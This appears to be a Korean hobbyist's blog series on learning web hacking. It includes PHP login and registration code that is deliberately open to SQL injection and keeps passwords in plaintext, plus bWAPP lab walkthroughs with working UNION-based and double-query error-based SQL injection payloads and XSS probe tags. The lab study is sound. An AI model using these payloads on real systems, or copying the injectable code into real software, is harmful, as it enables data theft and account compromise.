</body>
</html>

입력한 id와 pw를 DB로 넘겨서 맞는지 검증하고~

맞다면 index 창으로 넘겨주는 코드 되시겠읍니다\

ID나 PW 하나라도 틀리면 alert창이 뜨면서 로그인 실패

정상적으로 로그인이 되면

세션값으로 받아온 user의 name이 뜨면서 환영인사를 해줍니당

[ index.php ]

<?php
	include 'lib.php';
?>

<!DOCTYPE html>
<html>
<meta charset="UTF-8">
<head>
<title>메인화면</title>
</head>

<body>
	<?php
	if (isset($_SESSION['id'])) {
		echo $_SESSION['name']."님 안녕하세요!";
		echo "<br><br>";
		echo "<a href = 'board.php'>게시판 바로가기</a><br>";
		echo "<a href = 'logout.php'>로그아웃</a>";
		exit;
		} else {
		echo "로그인을 해주세요<a href='login.php'>로그인하러가기</a><br>";
		echo "처음이신가요?<a href='register.php'>회원가입하러가기</a>";
	}
	?>
</body>
</html>

로그인 안하고 바로 index창으로 접근하거나

로그아웃하면 이 화면이 뜹니다요

그럼 로그아웃은 어케하냐

[ logout.php ]

<?php
session_start();
session_destroy();
?>
<meta charset = "UTF-8">;
<script>
alert("로그아웃 되었습니다");
location.replace('index.php');
</script>

쏘 EZ

다음은 게시판을 만들어보겠습니당

PHP + MySQL 게시판 제작 - 회원가입

songtoy — Mon, 16 Feb 2026 15:22:28 +0900

디자인은 전혀 신경쓰지 않은 게시판 만들기!

디자인보단 모의해킹을 하기 위한 게시판 '기능'만 만들고싶었기 때문에...

한 눈에 들어오지 않는 건 이해해주세용

결과물

우선 테이블을 먼저 만들어야하기때문에

CREATE TABLE user (
name CHAR(20) NOT NULL,
ID CHAR(20) PRIMARY KEY,
pass CHAR(20) NOT NULL
);

SQL에서 테이블 먼저 생성해주고

회원가입을 위한 폼 먼저 만들어줬당

[ lib.php ] -> 자주 쓸거라 그냥 include 해주려고 따로 빼놨어용

<?php
	session_start();
	$conn = mysqli_connect('localhost', 'root', '@@@@', 'bbs') 
	or die("MySQL 연결 실패:".mysqli_connect_error());
?>

[ register.php ]

<?php
include 'lib.php';
?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
	<title>회원가입</title>
	</head>
	<body>
		<h1>회원가입</h1>
		<form method="post" action=" ">
			<p>닉네임: <input type="text" name="name" placeholder="닉네임을 입력하세요"></p>
			<p>아이디: <input type="text" name="id" placeholder="아이디를 입력하세요"></p>
			<p>비밀번호: <input type="password" name="pw" placeholder="비밀번호를 입력하세요"></p>
			<p>비밀번호 확인: <input type="password" name="pw2" placeholder="비밀번호를 재입력하세요"></p>
			<p><font color="red">비밀번호는 4자리 이상 설정해주세요</font></p>
			<p><input type="submit" value="회원가입">
			<button type="button" onclick="location.href='login.php'">로그인</button></p>
		
		<?php
			if ($_SERVER["REQUEST_METHOD"] == "POST") {
				$id = $_POST['id'];
				$pw = $_POST['pw'];
				$name = $_POST['name'];
				$pw2 = $_POST['pw2'];
				$check = "SELECT * FROM user WHERE id = '$id'";
				$idresult = mysqli_query($conn, $check);
				$namecheck = "SELECT * FROM user WHERE name = '$name'";
				$nameresult = mysqli_query($conn, $namecheck);
				
			if (empty($id) || empty($pw) || empty($pw2) || empty($name)) {
				echo "<script>alert('입력되지 않은 칸이 있습니다'); history.back();</script>";
				exit;
			}
			
			elseif (mysqli_num_rows($nameresult) > 0) {
				echo "<script> alert('이미 존재하는 닉네임입니다'); history.back();</script>";
			}
			
			elseif (mysqli_num_rows($idresult) > 0) {
				echo "<script> alert('이미 존재하는 아이디입니다'); history.back();</script>";
			}
			
			elseif ( strlen($pw) < 4 ) {
				echo "<script> alert('비밀번호를 4자리 이상 설정해주세요'); history.back();</script>";
			}
			
			elseif ($pw !== $pw2) {
				echo "<script>alert('비밀번호가 일치하지 않습니다'); history.back();</script>";
				exit;
			}
			
			else {
			$register = "INSERT INTO user (ID, name, pass) VALUES ('$id', '$name', '$pw')";
			$result = mysqli_query($conn, $register);
			
			echo "<script>alert('회원가입이 완료되었습니다!'); location.href='login.php';</script>";
			
			}
			}
		?>
		</form>
	</body>
</html>

HTML 화면에서 입력되지 않은 칸이 있는지랑 비밀번호 길이도 검증하고 DB로 보내버리기!

모의해킹 공부를 위한 게시판이라서

애초에 sqli 대비는 하지않은,, 보안에 매우매우 취약한 회원가입 창 되겠습니다

SQL Injection (Get/Search)

songtoy — Fri, 4 Jul 2025 16:23:34 +0900

SQLI란?

공격자가 입력필드에 특수 SQL문을 삽입하여

DB에서 데이터를 검색하거나 중요한 데이터를 파괴하는 등의 명령을 실행할 수 있다.

(DB정보 탈취 및 인증 우회 등)

SQLI는 어떻게 해야할까?

SQLI에는 여러가지 종류가 있지만 본질적인 핵심 취약점은

SQL 쿼리에 예기치 않은 정보가 전달된다는 것이다

예를 들어, 일반 SQL 쿼리에서 studentId와 일치하는 학생을 학생 목록에서 찾고싶을 때

SELECT * FROM students WHERE studentId = 117;

를 넣으면 studentId가 117인 학생을 반환하게 된다

그럼 입력창에 117 대신 117 or 1=1을 넣으면 어떻게될까?!

SELECT * FROM students WHERE studentId = 117 or 1=1;

은 모든 학생에 대해 항상 참이므로, 학생테이블의 모든 데이터를 반환하게 된다!

(Classic SQL Injection)

' (작은따옴표)를 통해서 에러를 확인하는 방법도 있다

실습

1. Classic SQLI

맨 처음 들어가자마자 보이는 화면,,

암거나 검색해보자 하고 a를 쳐봤더니 url에 ?title=a&action=search 라고 뜬다!

title이라는 변수명을 알아냈다(?)

' (작은따옴표)를 입력하니까 오류가 난다!!

(" 큰따옴표는 에러안남. 즉 해당 sql문은 작은따옴표로 쓰여져있다는 걸 알 수 있음)

그리구 해당 에러를 보면 MySQL을 쓴다는 것도 알 수 있다

MySQL은 # 뒤를 다 주석처리 한다!

고래서 a' or 1=1 # 을 써봤더니

전체 영화 목록이 조회되는 것을 볼 수 있다!

2. UNION-Based SQLI

SQL에서 Union은 두개의 쿼리문에 대한 결과를 하나의 테이블로 합쳐주는 역할을 한다

Union은 첫 쿼리문 select문과 두번째 쿼리문 union select문의 컬럼 수가 같아야하는 특징이 있다

만약 컬럼수가 일치하지 않으면 오류를 출력해준다.

(원래는 데이터형도 일치해야하는데 mysql은 자동 형변환 해준다고함)

그러므로 Union select의 컬럼수를 반복적으로 증가시켜주면 컬럼의 수를 확인할 수 있다.

" ' UNION SELECT 1,2,3,4,5 # 를 써봤더니 컬럼수가 다르다고 오류가 뜬다.

계속 하나씩 늘려서

" ' UNION SELECT 1,2,3,4,5,6,7 # 를 썼더니 숫자가 출력된다!

= 2,3,4,5번째 컬럼을 조회할 수 있다는 뜻!

그럼 이제 이걸로 뭘 알아낼 수 있을까?!!!!!!!!!!!!!

① DB서버의 버전 : @@version

② DB서버가 존재하는 디렉터리 : @@datadir

③ 테이블명 : table_name

④ 데이터베이스 이름 : database()

⑤ 사용자 아이디 : user()

⑥ 관리자 권한 사용자 아이디 : system_user()

⑦ 컬럼명 : column_name

⑧ 문자열을 합쳐서 출력 : concat()

등등...

구래서 " ' UNION SELECT 1,@@version,@@datadir,database(),table_name,6,7 # 를 해봤어여

근데!

띠로리

그럼 ㅇㅣ거 빼고 일단 해봐야지!

" ' UNION SELECT 1,@@version,@@datadir,database(),5,6,7 #

잘 나옵니다요

그럼 table_name은 왜 안나올까

" ' UNION SELECT 1,2,3,table_name,5,6,7 FROM information_schema.tables #

로 하면 엄청 많이 나온다~~

-> table_name이 출력되지 않았던 이유 : 같은 테이블에서 여러줄을 뽑아야하기 때문!

어디서부터 가져올지 테이블 명시가 필요함

-> @@version이나 @@datadir은 된 이유 : 하나의 값만 주는 함수라 테이블 없어도됨

암튼 여기서

user, host라는 테이블이 있다는걸 알아냈당 ㅋ

그래서 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM user #

했더니 Error: Table 'bWAPP.user' doesn't exist 라고 나옴 ㅠ

그래서 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.tables #

했더니 이건 또 Error: Unknown column 'column_name' in 'field list' 래

이건

1. 테이블에 컬럼이 아예 없을 때

2. 컬럼 이름을 잘못 적었을 때

나오는 에러라고 한당

일단 나는 유저 정보가 알고싶었던 거니까 이거 넘기고

' union select 1, user(), 3, system_user(), 5, 6, 7 from information_schema.tables #

이걸로 조회를 해봤다!

~~그랬더니 user에는 영화제목이 나오고 system_user는 영화감독이름이 나온다~~

~~내가 생각한 결과는 root@localhost만 한줄 딱 나오는거였는데 왜 다 나오지,,,~~

~~UNION ALL을 해야 다 나오는거 아닌가ㅠ 흑흑..~~

~~혹시나 싶어서~~

~~' UNION SELECT 1, user(), 3, system_user(), 5, 6, 7 #~~

~~도 해봤는데 결과는 동일햇당~~

근데 생각해보니까 UNION 의 결과값은 원래 저게 맞는거고

다른것들이 왜 한줄만 나왔는지 모르겠은.,,

3. Error Based SQLI

Error Based SQLI는 주로 데이터베이스에 대한 정보를 획득하기 위해 사용된다.

SQL의 잘못된 문법이나 자료형 불일치 등에 의해 나타나는

데이터베이스 오류 메시지에 의존하여 수행되는 공격 기법이다.

따라서 웹 애플리케이션에서 데이터베이스 오류를 표시해주는 경우에 주로 사용할 수 있다.

공격자는 SQL 쿼리의 잘못된 문법을 사용해 고의적으로 오류를 유발시키고

해당 오류 정보를 바탕으로 데이터베이스명, 테이블, 컬럼 정보 등의 데이터베이스의 정보와 구조를 알아낼 수 있다.

일단 MySQL 환경에서 활용할 수 있는 기법은

XPath와 Double query 방식이 있다.

XPath

XPath 방법은 extractvalue() 함수를 활용하는 기법이다.

extractvlaue()는

extractvalue(xml_frag, xpath_expr)

XML과 XPath 표현식이라는 두개의 인수가 필요하고,

두 개의 인수를 통해 XML에서 XPath 표현식에 일치하는 데이터를 추출해서 반환해준다

ex)

BOOK_XML의 내용

<STORE> <BOOK> <TITLE>어린 왕자</TITLE> <AUTHOR>앙투안 드 생택쥐페리</AUTHOR> <PRICE>9,800</PRICE> </BOOK> </STORE>

▶ 예시쿼리

SELECT EXTRACTVALUE(BOOK_XML, '/STORE/BOOK/TITLE') FROM BOOK_LIST;

▶ 예시 쿼리 결과

어린 왕자

출처: https://smile-place.tistory.com/entry/ORACLE-EXTRACTVALUE-함수-EXTRACT-함수 [Smile Place:티스토리]

만약 xpath_expr이라는 두 번째 인수에 유효하지 않은 XPath 표현식이 사용된다면

ERROR 1105 (HY000): XPATH syntax error: 'xpath_expr 인수의 값'

라는 오류가 발생한다.

예를들어 만약 xpath_expr의 인수로 임의의 SQL 쿼리를 지정했을 때 이 쿼리의 실행 결과가 오류메세지에 포함된다.

이 점을 이용하여 오류기반의 SQLI 공격을 수행할 수 있다.

두번째 인수가 항상 유효하지 않은 XPath 표현식이 되도록 하기 위해

concat() 함수를 이용해 콜론(:)을 앞에 추가한다. (콜론의 16진수 표기법은 0x3a)

첫번째 인수는 임의의 값 지정을 위해 rand() 함수를 사용한다.

마지막으로, 후속 쿼리를 무효화하기 위해 가장 끝에 #을 추가한다.

' AND extractvlaue(rand(), concat(0x3a, version()))#

두구두구

결과는

왜죠

알고보니 extractvlaue() 함수는 MySQL 5.1 이상의 버전에서만 유효하다고 한다,,

근데 5.0이네여

다른 방법을 써보쟈

updatexml()함수!

updatexml(null, 실행할 SQL 쿼리, null) #

...................................ㅠㅡㅠ

ㅠㅠ

Double Query

~~Double Query는 GROUP BY를 통한 그룹 집계의 기준 컬럼에 rand() 함수가 사용된 경우에 발생하는 오류를 활용한 기법이다.~~

~~그룹별 집계를 위한 기준 컬럼이 중복될 때 발생하는 오류로,~~

~~이 기준 컬럼이 테이블의 일반적인 컬럼인 경우에는 오류없이 SQL 쿼리가 잘 실행되지만~~

~~행이 3개 이상 존재하는 테이블에서는 오류를 뱉어낸다~~

두 개의 쿼리를 하나로 연결하여 오류를 유발하고, 이를 통해 정보를 추출하는 기법

일반적인 error based가 쿼리의 오류메세지를 통해 직접 정보를 얻는 것이라면,

double query는 첫 번째 쿼리는 정상 실행되고, 두 번째 쿼리에서 오류를 강제로 유발시켜 에러메세지를 분석하는 방법이다.

① 1'; SELECT COUNT(*), CONCAT(0x3a, database(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x #

② ' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0)*2) AS x FROM information_schema.tables GROUP BY x) #

③ 1 FROM (SELECT 1 FROM ( SELECT concat(database(), FLOOR(RAND(0)*2)) AS x, COUNT(*) FROM information_schema.tables GROUP BY x) )#

④ ' AND (SELECT 1 FROM ( SELECT concat(database(), FLOOR(RAND(0)*2)) AS x, COUNT(*) FROM information_schema.tables GROUP BY x) #

이렇게 네개 다 해봤는데,,,

일단 맨 마지막 ④는 서브쿼리에 별칭을 지정해주라길래

' AND (SELECT 1 FROM ( SELECT concat(database(), FLOOR(RAND(0)*2)) AS x, COUNT(*) FROM information_schema.tables GROUP BY x)a #

이렇게도 해봤는데

안됨,, ㅠㅡㅜ

이젠 어디서 오류가 났는지도 안알려주는구만,...........................

이것저것 해보다가 ①이랑 짬뽕해서

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, database(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)a) #

를 해봤더니

이러케 나옴!!!

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, database(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #

을 해주니까

대박~~ 나왓따

그럼 이제 다른것도 알아봐야징

- 데이터베이스 버전 추출

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, version(), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #

- 테이블명 추출

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='bWAPP' LIMIT 0,1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #

- 컬럼명 추출

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT column_name FROM information_schema.columns WHERE table_schema='bWAPP' AND table_name='blog' LIMIT 0,1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #

- 데이터 추출

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT concat_ws(0x3a, id) FROM bWAPP.blog LIMIT 0,1), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x LIMIT 0,1)a) #

??? 이게 맞나

에러가 안나고 데이터가 다 출력돼버림 ㅇㅅㅇ

근데 데이터를 추출한거니까 맞나..?

암튼 이거 하다가 알아낸 사실!

UNION-Based SQLI에서 컬럼명 찾다가 포기했었는데

무식하게 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.tables # 로 해서 그런거였다

' UNION SELECT 1,2,3, column_name,5,6,7 FROM information_schema.columns # 로 하면 되려나

ㅠㅠ 감격,, 잘나와욘,,

XSS - reflected (GET)

songtoy — Sun, 15 Jun 2025 19:57:28 +0900

bwapp에 로그인 후 실습해보기!

first name에 1, last name에 2를 넣고 go를 누르면

GET방식으로 값이 넘어가는걸 확인할 수 있다

스크립트 태그가 막혀있을 때 쓸 수 있는 것

: 이미지를 정상적으로 불러올 수 없을때 alert창 띄움

~~<object data=x type="text/html" width="100" height="100">111</object>~~

이건 이제 죽은태그라고 함,,, 암것두 안뜨네

이거말고 iframe 태그를 사용하자

눌러보세요 누르면

alert 함수가 막혀있을 때 쓸 수 있는 것

prompt

confirm

이 뒤로는 캡쳐하기 귀찮아서,, 해본것들 쭉 써놓을게여

~~<object src=x href=x onerror=alert(1)></object>~~ -> 퇴화 태그

~~<title onPropertyChange title onPropertyChange=alert(1)></title onPropertyChange>~~

-> onPropertyChange 태그는 IE 전용 이벤트!! 현대 브라우저에서는 지원 X

-> 얘는 잠깐 다른 창으로 이동했다가 다시 돌아오면 계속 알림창뜸;;;

-> 창이 로드되지 않을때 발생하는 태그,, 그니까 로드가 잘 되면 쓸데가 없당

~~<script onReadyStateChange=alert(1)></script>~~

ReadyState란? 요청을 보내는 클라이언트의 상태

그럼 onReadyStateChange란? ReadyState가 변경될 때 실행할 함수를 정의

즉 상태 변동이 안되면 이벤트가 발생하지 않음 + 이것도 주로 IE 전용 태그,, 요새는 거의 무시됨

-> 마우스로 뭐 클릭할때마다 창 뜸,,,,,,,,,,,,,,,,,,,,,,,,

bwapp 설치하기

songtoy — Sat, 17 May 2025 16:51:48 +0900

bwapp는 OS(Operation System)다!

그럼 OS(운영체제)란 무엇일까?

사용자가 컴퓨터를 사용하기 위해 필요한 소프트웨어(컴퓨터시스템의 핵심 소프트웨어)로,

컴퓨터 하드웨어와 응용프로그램 간의 상호작용을 관리하고 제어하는 역할을 한다.

운영체제의 목적은 사용자와 하드웨어 사이의 인터페이스를 제공해 효율적으로 응용프로그램이 동작하도록 지원,

시스템 자원을 효율적으로 관리하여 응용프로그램이 원활하게 동작할 수 있도록 한다.

운영체제의 코어부분을 커널(kernel)이라고 하는데,

일반적으로 커널에 여러가지 기능(라이브러리, 시스템 프로그램 등)이 추가된 상태를 운영체제(OS)라고 한다.

운영체제의 종류에는 윈도우, 맥os, 리눅스, 유닉스 등이 있다.

내 노트북에서는 이미 윈도우를 사용하고 있기 때문에 VM을 설치해서 거기에 bwapp를 깔아보려고 한다!

그럼 VM(Virtual Machine)이란 뭘까?

그냥 컴퓨터 하나 더 가상으로 만든다고 생각하면 된다.

실재하는 컴퓨터 상에 소프트웨어로 만들어낸 컴퓨터, 즉 물리적 컴퓨터의 디지털 버전이라 볼 수 있다.

VM으로 프로그램 및 운영체제를 실행하고, 데이터를 저장하고, 네트워크에 연결하는 등의 거의 모든 컴퓨팅 기능을 수행할 수 있다

VM을 사용하는 이유는, 실제로 있는 컴퓨터 시스템을 여러명의 사용자가 동시에 사용할 수 있게 하기 위해서다.

하나의 컴퓨터를 여러명의 사용자가 동시에 사용할 수 있도록 여러대의 작은 컴퓨터로 분할하거나

운영 체제나 하드웨어 등의 구성을 달리하여 운영하고자 할 때 (<-지금 나의 경우!!) 사용된다.

VM에도 종류가 있다!

① Virtual Box

- Innotek에서 제작된 소프트웨어, 현재 오라클에서 사용

- 지원 : 리눅스, OS X, 솔라리스, 윈도우

- 32비트

- 무료

② Parallels

- Parallels에서 제작된 소프트웨어. Mac 사용자가 많이 사용

- 유료

③ VMware

- 가장 많이 알려져 있는 상용 소프트웨어

- 여러 가상머신을 다룰 수 있고, UI가 깔끔하며, 지원되는 외부 디바이스가 다양함

- 속도가 느림

④ QEMU

- Fabrice Bellard에서 제작된 소프트웨어

- 32비트 이외의 기종을 위해 만들어짐

⑤ Windows Virtual PC

- microsoft에서 제작된 기능 제한 없는 소프트웨어

- UI는 단순하지만 필요한 기능 모두 제공

나는 여기서 VMware를 사용할거다!

VMware와 beebox를 설치하고~~

이제 설정을 할건데용

나머지는 다 안건드려도 된다고하고

Network Adapter만 본인이 원하는걸로 세팅!

나는 기본적으로 브릿지모드가 되어있었당 (컴퓨터마다 처음 기본 설정이 다를 수 있음)

1. 브릿지모드 : 가상머신이 호스트머신의 네트워크 어댑터와 물리적으로 연결된 것처럼 동작

독립적인 IP주소 할당, 동일 서브넷에 속해있어 다른 네트워크 장치들과 직접 통신할 수 있음.

-> 호스트와 동일한 네트워크에서 외부 네트워크 리소스와 직접 상호작용해야 하는 경우

2. NAT모드 : 가상머신이 외부 네트워크와 통신할 수 있도록 호스트의 IP 주소를 사용

별도의 IP주소를 할당할 필요 없이 인터넷에 접속할 수 있고, 호스트의 네트워크 설정을 건드리지 않아 설정이 간편함.

외부네트워크에서 가상머신에 직접 접근할 수 없으므로 보안성이 향상됨.

-> 외부에서 접근할 필요 없이 간단한 인터넷 접속만 필요한 경우

3. 호스트전용모드 : 가상머신이 호스트와만 통신할 수 있음

외부 네트워크와 완전히 격리되어 있어 안전한 테스트 환경을 제공

-> 외부 네트워크와 분리된 개발 및 테스트환경을 구축해야하는 경우

4. 커스텀모드 : 사용자의 필요에 따라 가상네트워크를 설정할 수 있는 모드

-> 복잡한 네트워크 설정이 필요한 고급 사용자나 특정 요구사항이 있는 경우

∴ 저는 NAT모드로 할게용

다 설치하고 bwapp-start를 눌렀는데

나는 123456789를 눌렀을 뿐인데 요상한 문자가 찍힌당

키보드 레이아웃을 해줘야한다!

하구 다시 창을 열어서 입력해보면

굳 잘되는걸 볼 수 있어용

로그인을 해봅시다

아이디 : bee

비밀번호 : bug

여기서 다양한 웹해킹 실습을 시도해볼 수 있습니당

터미널에서 ifconfig 치고 나오는 IP주소를 복붙해서 로컬에서도 bWAPP 실행시킬수잇따

출처 : https://king-ja.tistory.com/90

SQL Injection (SQLI) 공격 방식

songtoy — Sat, 10 May 2025 21:50:51 +0900

이론

1. Classic SQL Injection

사용자 입력값을 그대로 SQL 쿼리에 삽입하여 공격하는 방식

ex )

SELECT * FROM USER WHERE USERNAME = '[입력값]' AND PASSWORD = '[입력값]';

여기서 사용자가 admin'; -- 라는 값을 입력하면

SELECT * FROM USER WHERE USERNAME = 'admin'; --' AND PASSWORD = '[입력값'];

-- 뒤는 주석처리됨

2. Blind SQL Injection

참 / 거짓의 결과를 통해 정보를 추출하는 방식

ex1 ) Boolean-based : SQL 쿼리의 결과가 참이면 정상적인 응답을, 거짓이면 에러를 반환하는 경우를 이용

(사용자 이름을 검증하는 쿼리에서 'or 1=1' 또는'or 1=2'와 같은 조건을 추가하여 참 / 거짓 판별)

ex2 ) Time-based : 응답지연을 유발시키는 함수를 사용하여 참 / 거짓 판별 (SLEEP 또는 BENCHMARK 함수를 이용)

3. UNION-based SQL Injection

UNION 연산자를 사용하여 원래의 쿼리 결과에 추가적인 선택 결과를 결합하는 방식

발생조건 : UNION 연산자는 2개 이상의 SELECT문을 합집합하는 연산자이므로,

UNION 연산자로 결합된 쿼리의 대상 목록은 같은 개수의 파라미터를 가져야 한다.

ex ) 원래 쿼리에 UNION SELECT NULL, userID, password FROM user; 를 추가하여 사용자 정보를 반환하는 쿼리 생성

4. Error-based SQL Injection

반환된 에러메세지를 통해 데이터베이스의 정보를 추출하는 방식

ex) CAST 함수와 같은 함수를 사용하여 강제적으로 에러를 발생시키고, 해당 에러메세지에서 DB 정보를 추출

️실습

DB 조회 전에 loginAction 페이지에서 존재여부를 먼저 확인해서 SQL 삽입되기 전에 아예 차단해버림

? 왜 됐지

preparedStatement를 쓰면 문자열로 들어가기때문에 SQL Injection을 방지할수 있다고함... ㅇㅅㅇ

뷰페이지에서 URL에 임의의 SQL 쿼리를 삽입하여 DB 에러페이지가 반환되는지 확인! (error-based injection)

bbsID 파라미터는 정수여야 되는데 왜 문자가 들어갔냬

정수만 허용되기 때문에 SQL injection이 차단됨

공백 넣어봐도 똑같고

* 공백 문자 우회 방법

- %0a / %09 / %0d / %20 / + / ()괄호 등 ...

싱글쿼터(%27) 써도 똑같고

싱글쿼터 앞에는 백슬래시(%5C) 써야된다 해서 써봐도 똑같고

주석 처리를 다르게 해봐도 똑같음 ㅠㅡㅠ

그러면 에러창에 나온것처럼 Integer.parseInt('입력값'); 을 이용해보면 어떨까!!!!!!

Integer.parseInt('입력값');
-> 입력값에 1') or Integer.parseInt('49') ; # 이런식으루 넣으면

Integer.parseInt('1') or Integer.parseInt('49'); #');
이렇게 되는거 아닌가!?

근데 내가 문법을 잘 몰라서 이러케 쓰는게 맞는지 몰겟ㅇ음

졸립다

출처 : https://velog.io/@k4minseung/DB-SQL-Injection-%EA%B3%B5%EA%B2%A9%EA%B3%BC-%EB%B0%A9%EC%96%B4-%EB%B0%A9%EB%B2%95

XSS 2

songtoy — Tue, 6 May 2025 23:46:43 +0900

파라미터 값 들어가는데에 스크립트 구문 넣어봤당

오류 발생,,

bbsID= 뒤는 다 id로 인식해버리는듯??

이거 하면 팝업창으로 쿠키정보가 떠야하는데

아무것도 안뜬당

여기서 HttpOnly를 체크 해제하면 된다고해서 해제하고 새로고침해봤는데 여전히 안됨

이런 경우에는 XST를 시도해볼수있다는데 PUTTY를 통해서 통신을 접속해야된다그래서,, 안할래요

XSS

songtoy — Sun, 4 May 2025 00:00:13 +0900

동빈나님 유튜브 보고 만든 JSP 웹사이트를 이용해서 XSS를 시도해봤다!

XSS 발생 조건 중에 하나는

입력창(URL)이 있어야 된다는 거!

(나머지 하나는 저장 가능한 곳이 있어야 한다는 것)

제목에 요런 구문을 넣어서 글쓰기를 눌렀더니

정상적(?)으로 창이 출력된당

제목에는 아무것도 안나옴

본문에도 해봤음

그랬는데 똑같이 xss 알림창이 뜸

제목에 박아놔서 게시판 들어갈때마다 알림뜨나봄

(자꾸 창뜨니까 귀찮아서 SQL로 삭제함)

본문에는 적용이 안되나보다

HTML 엔티티로 치환해서 얘가 인식을 못하는건가??

이것도 암것두 안된당

여기도 입력해보려고 했더니 글자수 제한 때문에 입력이 안된당

그럴땐 ctrl+shift+i 를 눌러서 개발자 도구를 연다!!!!!!

아무 폴더나 지정하시구여

허용 누르면 ~~~

소스코드 수정이 된답니당

바꿔주고요

저장 꼭 하시구 (ctrl+S)

창 껐다가 다시 켜주시면

잘되네여

여기에다가

해보면

두구두구

안됩니당,, 저런

이건 서버에서 검증하기때무네,,

(로그인 창에는 스크립트가 아니고 SQL인젝션을~)